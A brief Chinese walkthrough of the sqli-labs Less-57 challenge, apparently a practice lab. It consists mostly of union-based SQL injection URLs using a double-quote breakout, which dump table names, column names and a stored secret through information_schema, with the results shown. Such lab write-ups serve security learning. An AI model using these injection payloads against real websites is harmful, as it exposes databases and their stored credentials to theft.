chicken dinner!让我们继续吧~

faefdb91c716db8d53c4f02a2b615a7.png

这关是 union 的最后一关,应该到双引号了...还真的是

http://sqlilabs/Less-57/?id=1" 回显错误
http://sqlilabs/Less-57/?id=1"%23 回显错误

http://sqlilabs/Less-57/?id=-1" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3%23

得到表名:ujpcx38328

http://sqlilabs/Less-57/?id=-1" union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ujpcx38328'),3%23

得到列名:id,sessid,secret_ZVL5,tryy

http://sqlilabs/Less-57/?id=-1" union select 1,(select group_concat(secret_ZVL5) from ujpcx38328),3%23

得到密码:Jp3tug5Rz4fpbv3VlVJMM0e0

Get it!!!

4a38e1a07a34da333685c1889e8ae22.png

:D